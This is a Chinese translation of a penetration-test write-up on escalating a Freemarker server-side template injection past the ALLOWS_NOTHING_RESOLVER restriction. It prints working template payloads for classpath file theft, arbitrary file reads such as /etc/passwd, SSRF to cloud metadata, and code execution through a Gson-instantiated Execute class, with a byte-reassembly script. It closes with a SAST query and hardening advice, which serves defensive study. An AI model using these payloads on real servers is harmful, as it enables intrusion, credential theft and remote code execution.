Freemarker模板注入 Bypass
原文連結:
https://ackcent.com/blog/in-depth-freemarker-template-injection/
原文作者:
Toni Torralba
恭喜翻譯作者Hulk@先知社群
價值100元的天貓超市享淘卡一張
歡迎更多優質原創,翻譯作者加入
ASRC文章獎勵計劃
歡迎多多投稿到先知社群
每天一篇優質技術好文
點滴積累促成質的飛躍
今天也要進步一點點呀
前言
在最近一次滲透測試中,AppSec團隊碰到了一個棘手的Freemarker服務端模板注入。我們在網上沒有找到深入研究有關這類注入的文章,於是決定寫下本文。對於這篇Freemarker注入的文章來說,我們將著重介紹我們是如何靈活變通,嘗試各種方法,最後成功注入。
概述
我們被分配測試一個內容管理系統(CMS)應用,使用者可以通過這個CMS在網上釋出各種內容。在本次測試中,我們只有一些低許可權賬戶,因此,測試的一個重要目標就是弄清楚是否存在一些越權漏洞,並嘗試取得最高許可權。
經過一些探索性測試後,我們偶然發現了一個功能,使用者可以通過其按鈕來管理模板。這個模板為Freemarker,我立馬想到可能存在服務端模板注入漏洞。有一個快速,公開的的Poc常用於該模板,能夠獲取任意程式碼執行許可權:
<#assign ex="freemarker.template.utility.Execute"?new()> ${ex("id)}
但問題是我們的賬戶許可權非常低,沒有編輯模板的許可權,因此我們首先需要提升許可權。很幸運,經過幾個小時的努力,最後發現許可權管理系統存在一個認證缺陷,利用這點我可以竊取站點管理員許可權。Nice!下一步是嘗試程式碼執行。我們建立一個模板,貼上Poc然後獲得以下反饋:
Instantiating freemarker.template.utility.Execute is not allowed in the template for security reasons.
好吧,它並不是不堪一擊。
模板類解析器
Freemarker模板為了限制 TemplateModels
被例項化,在其配置中註冊了TemplateClassResolver。下面是三個預定義的解析器:
-
UNRESTRICTED_RESOLVER
:簡單地呼叫ClassUtil.forName(String)
。 -
SAFER_RESOLVER
:和第一個類似,但禁止解析ObjectConstructor
,Execute
和freemarker.template.utility.JythonRuntime
。 -
ALLOWS_NOTHING_RESOLVER
:禁止解析任何類。
目標使用的模板類解析器為: ALLOWS_NOTHING_RESOLVER
,所以我們無法使用 ?new
。也就是我們不能使用任何 TemplateModel
,不能利用它來獲取任意程式碼執行。我們開始閱讀Freemarker說明文件,想找到其他辦法來造成服務端模板注入。
Freemarker內建的 ?api
經過一番搜尋,我發現Freemarker支援一個內建函式:?api,通過它可以訪問底層Java Api Freemarker的 BeanWrappers
。
這個內建函式預設不開啟,但通過Configurable.setAPIBuiltinEnabled可以開啟它。我們非常幸運,因為目標模板的這個函式是開啟的,我們可延伸的方向又多了起來。
但執行程式碼仍非易事:Freemarker模板有很好的安全防護,它嚴格限制 ?api
訪問的類和方法。在其官方的Github儲存庫中,我們發現一個特性檔案,該檔案列出了禁止呼叫的名單。
簡單歸納:我們無法呼叫
Class.forName
, Class.getClassLoader
, Class.newInstance
, Constructor.newInstance
和 Method.invoke
。獲得任意程式碼執行許可權的機會渺茫。但通過Java呼叫和表示式一定還存在其他有趣的方法可以實現,我們沒有氣餒,仍繼續探索。
訪問類路徑中的資源
我們後來發現 Object.getClass
沒有被禁用。利用它可以通過模板中公開的 BeanWrapper
來訪問 Class<?>
類,並從其中呼叫getResourceAsStream。然後,我們就可以訪問該應用類路徑中的任意檔案了。通過這個方法讀取檔案內容可能有些複雜(可能有其他捷徑)。我們嘗試下面這段程式碼:
<#assign is=object?api.class.getResourceAsStream("/Test.class")> FILE:[<#list 0..999999999 as _> <#assign byte=is.read()> <#if byte == -1> <#break> </#if> ${byte}, </#list>]
(注意這裡的 object
是一個 BeanWrapper
,它是模板自帶的資料模型之一)在渲染模板後,所選檔案的每個位元組都會呈現出來,並且以 []
間隔開來。這有點繁瑣,通過Python指令碼可以快速將其轉換為一個檔案。
match = re.search(r'FILE:(.*),\s*(\\n)*?]', response) literal = match.group(1) + ']' literal = literal.replace('\\n', '').strip() b = ast.literal_eval(literal) barray = bytearray(b) with open('exfiltrated', 'w') as f: f.write(barray)
然後,我們就可以列出目錄的所有內容,我們可以訪問 .properties
這類敏感檔案,它們可能包含一些訪問憑據,還可以下載 .jar
和 .class
檔案,從而反編譯獲取程式原始碼。這時,滲透測試似乎變成程式碼審計,AppSec團隊在這方面有豐富的經驗。一段時間後,我們發現一個大獎,在原始碼中找到了AWS的明文憑據,利用它可以訪問高價值的AWS S3儲存桶。這是個血的教訓:(開發者)千萬不能因為“黑客無法訪問它”而將明文憑據放在原始碼中。
讀取系統任意檔案
我們被困在類路徑中,有些無聊,於是繼續深入發掘。仔細閱讀Java文件後,我們發現可以通過 Class.getResource
的返回值來訪問物件 URI
,該物件包含方法 toURL
。因為URI提供靜態方法 create
,通過該方法我們可以建立任意 URI
,然後用 otURL
將其返回至 URI
。經過一些修改,我們構造下面這段程式碼來竊取系統的任意檔案:
<#assign uri=object?api.class.getResource("/").toURI()> <#assign input=uri?api.create("file:///etc/passwd").toURL().openConnection()> <#assign is=input?api.getInputStream()> FILE:[<#list 0..999999999 as _> <#assign byte=is.read()> <#if byte == -1> <#break> </#if> ${byte}, </#list>]
這段程式碼很好,但仍不是完美的。我們使用 http://
( https://
或 ftp://
)替換掉 file://
,此時一個受限的模板注入變成一個完全的服務端模板注入了!為進一步擴大影響,我們可以通過它來查詢AWS元資料。
Cool,讓我們進一步探究能否再幹點什麼。
通過ProtectionDomain來獲取ClassLoader
重新讀完Java文件的Class部分後,我們注意到了 getProtectionDomain
方法。通過該方法可以訪問物件ProtectionDomain,巧合的是,該物件有自己的 getClassLoader
方法。Freemarker的 unsafeMethods.properties
檔案沒有限制呼叫 ProtectionDomain.getClassLoader
,因此我們找到了一個通過模板訪問 ClassLoader
的方法。
現在我們可以載入引用任意類(即 Class<?>
物件),但是我們仍不能例項化它們或呼叫其方法。儘管這樣,我們可以檢查欄位,如果是 static
的我們還可以獲取它們的值(對於非靜態,我們沒有合適的例項來訪問它們)。這似乎有點希望,我們查獲取最終的程式碼執行只差一步。
任意程式碼執行
前面我們通過 getResourceAsStream
方法已經下載了一大堆原始碼,這時我們再次審查它們,搜尋可以可以載入並且有靜態欄位的類。一會兒後,我們找到了:一個欄位為 public static final
的類,它是Gson的一個例項。Gson是一個谷歌建立的JSON物件操作庫,它的安全性很高。但我們目前可以訪問例項,要想例項化任意類只是時間問題:
<#assign classLoader=object?api.class.protectionDomain.classLoader> <#assign clazz=classLoader.loadClass("ClassExposingGSON")> <#assign field=clazz?api.getField("GSON")> <#assign gson=field?api.get(null)> <#assign instance=gson?api.fromJson("{}", classLoader.loadClass("our.desired.class"))>
(我們通過 Field.get
訪問靜態欄位,所以並不需要引數,只需簡單使用 null
。)
我們可以例項化任意物件。但因為 unsafeMethods.properties
安全政策的存在, Runtime.getRuntime
等方法無法實現,我們不能直接獲取程式碼執行。但我突然發現,使用Freemarker自帶的模板模型 Execute
,並且無需使用內建的 ?new
來例項化。OK,問題都解決了,我們找到了獲取任意程式碼執行的方法:
<#assign classLoader=object?api.class.protectionDomain.classLoader> <#assign clazz=classLoader.loadClass("ClassExposingGSON")> <#assign field=clazz?api.getField("GSON")> <#assign gson=field?api.get(null)> <#assign ex=gson?api.fromJson("{}", classLoader.loadClass("freemarker.template.utility.Execute"))> ${ex("id")}
反饋:
uid=81(tomcat) gid=81(tomcat) groups=81(tomcat)
SAST查詢
開發者如果在早期用SAST掃描其原始碼,該問題在開發階段就能解決,而不至於拖到今天,並且修復起來也更簡單。在SAST工具上,我寫了下面這段查詢,它是一個出色的程式碼審計工具:
CxList setApiBuiltIn = Find_Methods().FindByShortName("setAPIBuiltinEnabled"); CxList setApiBuiltInParams = All.GetParameters(setApiBuiltIn); result = setApiBuiltIn.FindByParameters(setApiBuiltInParams.FindByShortName("true"));
Freemarker內建的 ?api
預設不開啟,所以使用 ture
可以輕鬆查詢 setAPIBuiltinEnabled
方法的呼叫,並從報告結果中獲取漏洞提升。
小結
本文,我們分享了當Freemarker的 TemplateClassResolver
全部禁用時如何繞過,間接造成模板注入。通過利用內建的 ?api
,發現獲取敏感資料的方法,並且通過過與某個特殊類的組合來造成任意程式碼執行。
總結幾個重點:
-
首先,賦予使用者建立編輯動態模板的許可權是非常危險的。模板語言是世界上最好的語言(●ˇ∀ˇ●),我們需要更加謹慎地處理它,同時在分配許可權時需要考慮到,模板編輯的許可權是否只是Web伺服器管理員(防禦潛在的越權漏洞)才有。
-
內建
?api
是否開啟?攻擊者濫用它可以做一些危險的事,例如下載原始碼,造成SSRF或者RCE。這就是它預設關閉的原因。除非迫不得已,請勿開啟它。 -
Java在開發程式碼階段提供了一些保護措施,開發者應該正視它:當攻擊者實現了JVM中的某種程式碼執行時,(程式碼中)暴露的或者通過
Serializable
類洩露的敏感資料有著極高的風險。Freemarker自帶一些保護措施(例如關閉像setAccessible
這樣危險的對映方法),具有良好的安全性和經得起實踐的程式碼總能使攻擊者舉步維艱。
總之,這是一次非常棒的滲透測試,在發現禁用如何解析器時我們對獲取程式碼執行幾乎絕望,但繞過的過程很有趣。此外,我們希望這篇文章對於發現自己處於類似情況,研究在受限或者沙盒中如何突破限制的滲透測試者所有幫助。
更
多
精
彩
請猛戳右邊二維碼
Twitter:AsrcSecurity
公眾號ID
阿里安全響應中心